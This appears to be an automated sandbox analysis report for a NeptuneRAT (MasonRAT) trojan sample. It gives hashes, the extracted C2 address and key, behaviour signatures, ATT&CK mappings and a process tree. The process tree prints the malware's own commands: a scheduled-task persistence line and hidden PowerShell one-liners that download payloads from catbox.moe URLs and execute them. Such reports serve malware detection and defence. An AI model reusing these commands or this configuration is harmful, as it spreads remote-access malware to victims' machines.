neptunerat | 53e1937f4da91cba67cdd16397fe006e30847f82f444fca6a3aa745cd29c553e

Analysis

user interaction
yes
max time kernel
112s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 05:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MasonClient.exe
Size 48KB
Sample261002-ft23aszyfx
SHA256 53e1937f4da91cba67cdd16397fe006e30847f82f444fca6a3aa745cd29c553e
MD5 59aff99205bcc4cb9e8ba9f98f4e651b
SHA1 9eaf47df75242fbd87e9be7bc45f5caea89dadee
SHA512 ac8521d3a14bcd6291c29a7ff988d25a33254879ecb47428746a8561cc0a19f14e6bc8799241067085402af59c4454245cce55958f4d30a53269be688d38d495
SSDEEP 768:5f2IWAEruUiUuz64pFHo9akybKTKdvoje/a9kNAaghLO3OY8:5fBWtu6uz64fcQbKoiec1OeY8
TLSH
T1EA23D58DFBE80129D5BE5BB16D73A24983B479D35507C60FACD402CB2B267884290EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

30.tcp.cpolar.top:14990

Attributes

filename
USB.exe
group
MasonGroup
key
MY2pb6LoZ9nxMCo4
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4192-1-0x0000000000690000-0x00000000006A2000-memory.dmp	family_neptunerat
behavioral2/files/0x000c000000019c9f-6.dat	family_neptunerat

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
16	2892	powershell.exe
17	2892	powershell.exe
18	4436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
4436	powershell.exe
4948	powershell.exe
5988	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2608	MasonClient.exe
1988	MasonClient.exe
2784	MasonClient.exe

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\D:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\X:	wmplayer.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MasonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MasonClient.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings	MasonClient.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-560646293-820748483-2532804640-1000\{CCDB2A33-3F7E-4230-9850-B7B98302209D}	wmplayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4344	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
4192	MasonClient.exe
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
4436	powershell.exe
4436	powershell.exe
4436	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4192	MasonClient.exe
Token: SeDebugPrivilege	2608	MasonClient.exe
Token: SeDebugPrivilege	1988	MasonClient.exe
Token: SeShutdownPrivilege	5884	unregmp2.exe
Token: SeCreatePagefilePrivilege	5884	unregmp2.exe
Token: SeShutdownPrivilege	5440	wmplayer.exe
Token: SeCreatePagefilePrivilege	5440	wmplayer.exe
Token: SeShutdownPrivilege	5440	wmplayer.exe
Token: SeCreatePagefilePrivilege	5440	wmplayer.exe
Token: SeDebugPrivilege	2784	MasonClient.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5440	wmplayer.exe
4192	MasonClient.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 4344	4192	MasonClient.exe	89
PID 5440 wrote to memory of 776	5440	wmplayer.exe	97
PID 776 wrote to memory of 5884	776	unregmp2.exe	98
PID 4192 wrote to memory of 2892	4192	MasonClient.exe	103
PID 4192 wrote to memory of 4436	4192	MasonClient.exe	105
PID 4192 wrote to memory of 4948	4192	MasonClient.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/rwa682.rar' -OutFile $env:TEMP\Mason300401.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason300401.exe"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason808913.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason808913.exe"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/kg4lnc.rar' -OutFile $env:TEMP\Mason348031.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason348031.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason865526.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason865526.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5988

C:\Users\Admin\AppData\Roaming\MasonClient.exe
C:\Users\Admin\AppData\Roaming\MasonClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2608

C:\Users\Admin\AppData\Roaming\MasonClient.exe
"C:\Users\Admin\AppData\Roaming\MasonClient.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5440
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:776
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:5884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:2400

C:\Users\Admin\AppData\Roaming\MasonClient.exe
"C:\Users\Admin\AppData\Roaming\MasonClient.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Users\Admin\AppData\Roaming\MasonClient.exe
"C:\Users\Admin\AppData\Roaming\MasonClient.exe"
1⤵
PID:824

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F4 0x0000000000000500
1⤵
PID:592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 576KB
SHA256 786ed0294425de7b37def5dc21381f19ef682431c65df2a9c7df95761e33a369
MD5 642d7aa77632e2bd5547a7c8c2118dbc
SHA1 4801949dc9491602b7bb81a1f686e53969e2be78
SHA512 b4c4581e289b88ba46f6d8862ba09ef66d4ecc5a3c0da5abfdef3385d5a8aee1f68adfbad6616730621400dc6fadb064968b88b86d992fe442d6df12e9bf7e01
SSDEEP 768:Ff0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrzcooJImdba5aSt3w:F69tQeoVYocxYCutFCiKt
TLSH
T18CC40037A570A098DF3C35B1E2AC6B4CBD72651A12E006421F74B57F7A237D8CA0B5E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 354628a631a4118b2cd1822bcf2b30485e39e03658257c22c46228ede52a6755
MD5 d75ae29054e7ae1fd06261b4419b8653
SHA1 64da7b1157fc405878c1d27900b2adab54b22041
SHA512 3094c456fb92df4a507fa70bb6c3c91c6b9488ea32bf23aef2581622c6c7474f175e621cc8643f6bb6f2bedc6443753f5c94b272bac2e6d42aae16d591547695
SSDEEP 768:60aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdba7:UZP2tFP3vqY8LqEMGTaBacg
TLSH
T1AE258437D190B0C5CE2C7171E9ED8F08BA63A10B11A052465FF8A57E7A633D98D1B1EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LocalMLS_3.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
Size 68KB
SHA256 163aa547b3dafa2da9153f4a87ebab098ed45d02b00b2f5f9ef7a427281601c6
MD5 7c6c4ade66bca841f14d44120734c8e2
SHA1 b9780937b8a165e3996d9076fb41c8bdea68c35c
SHA512 c83abb45e1c0cb2fbc8e9c6e98913df05180a909785d0cce4bfd8e6f18a883b89f0e855ce2abd49366108e1ecd34cb61227302e1be8c0bb927115986f9a0f1a1
SSDEEP 96:bTHnltGNXtzUMUst77XtQUMbstHUMlstwOXtJL2tOLXt6tFAtjt:bgnCnin6
TLSH
T1AC63BF2167E85689F3F72E71BEFA551A2E3A78915E35D04D1214434E0972F2EDE30B32
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
MD5 f1917b1b23b33e605ce112b38870e0e2
SHA1 b659300a2f39c4c1c6958469e6a0ffd057986fe5
SHA512 622b483cda982fd7500c70ab15bb17597ede8f61013781d574bf6e2d036ad6acda1697813d03e3615964f99b5a9d3e06e9948a221526b5a1af0af758ab7dfe89
TLSH
T198215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lktfgofb.gyf.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lktfgofb.gyf.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpD45D.tmp.mov

Path C:\Users\Admin\AppData\Local\Temp\tmpD45D.tmp.mov
Size 1.2MB
SHA256 00472321413369b6ac3289e8f7983fb80d27a46530cec7cd14f3d95b5b1351d3
MD5 51441dbaeae0ebe20948df8809ff4f2d
SHA1 664a2e20140ecda1676358d294410d4e1ac1ae2b
SHA512 2915af20c03e3abeee817c7099be2c5172916ba37b089e9da6cd5531b37f69002eccca4d6611e1bc9d8169ad413ccc9b38fff90b5aa5345e76cafc7da19e25b5
SSDEEP 24576:KHvM3jo+j37vH42Xrf95WTDiKjEtw8JcgrvBHq6JXxIL:KHxa7vH4EF5WEtw8FrvB/IL
TLSH
T1584533A90BF02AD4C44921BC108553AC217CF61FFA5FADEFE7149673493EB42AB12359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wmsetup.log

Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
Size 1KB
SHA256 851a13fe13645fc6f358c810f5295df40a5f8841ad8b5805323ebcacd303bdf5
MD5 b09ffd7681ecfa71d0c56a502b8c2a83
SHA1 52158c4ce52bf198b0b1a0416797ba6c33eaf44d
SHA512 b7f6e6ecb55e8f40b013402a42a80adf6f07263b95daf904c2dc88da05b37f4a4be2ae0fe44ede014799f8e6e01821b5648729fb7525eaa609afce802fb85020
TLSH
T1CF217C974E0AE4B5CDA247B359CC8A2773BAA7DB5364D02573CEA01E881113E633D17E
MD5 SHA1 SHA512 TLSH

Submit Download

MasonClient.exe

Path C:\Users\Admin\AppData\Roaming\MasonClient.exe
Size 48KB
SHA256 53e1937f4da91cba67cdd16397fe006e30847f82f444fca6a3aa745cd29c553e
MD5 59aff99205bcc4cb9e8ba9f98f4e651b
SHA1 9eaf47df75242fbd87e9be7bc45f5caea89dadee
SHA512 ac8521d3a14bcd6291c29a7ff988d25a33254879ecb47428746a8561cc0a19f14e6bc8799241067085402af59c4454245cce55958f4d30a53269be688d38d495
SSDEEP 768:5f2IWAEruUiUuz64pFHo9akybKTKdvoje/a9kNAaghLO3OY8:5fBWtu6uz64fcQbKoiec1OeY8
TLSH
T1EA23D58DFBE80129D5BE5BB16D73A24983B479D35507C60FACD402CB2B267884290EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2608-7-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/2608-13-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/2608-8-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/2892-412-0x000001830BA50000-0x000001830BA72000-memory.dmp

Download

memory/4192-4-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-9-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-14-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-5-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-11-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-3-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-2-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-12-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

Download

memory/4192-1-0x0000000000690000-0x00000000006A2000-memory.dmp

Download

memory/4192-411-0x000000001B220000-0x000000001B22E000-memory.dmp

Download

memory/4192-0-0x00007FFC376FF000-0x00007FFC37700000-memory.dmp

Download

memory/4192-77-0x000000001B210000-0x000000001B21A000-memory.dmp

Download

memory/5440-86-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-100-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-68-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-69-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-70-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-72-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-73-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-74-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-75-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-76-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-62-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-79-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-80-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-81-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-82-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-83-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-84-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-85-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-61-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-88-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-87-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-90-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-89-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-91-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-93-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-94-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-96-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-95-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-97-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-98-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-99-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-63-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-101-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-102-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-104-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-103-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-107-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-106-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-105-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-109-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-110-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-112-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-111-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-113-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-115-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-114-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-117-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-118-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-116-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-120-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-119-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-122-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-121-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-123-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-126-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-125-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-128-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-127-0x0000000007410000-0x0000000007420000-memory.dmp

Download

memory/5440-129-0x0000000007250000-0x0000000007260000-memory.dmp

Download

memory/5440-60-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-55-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-57-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-58-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/5440-56-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download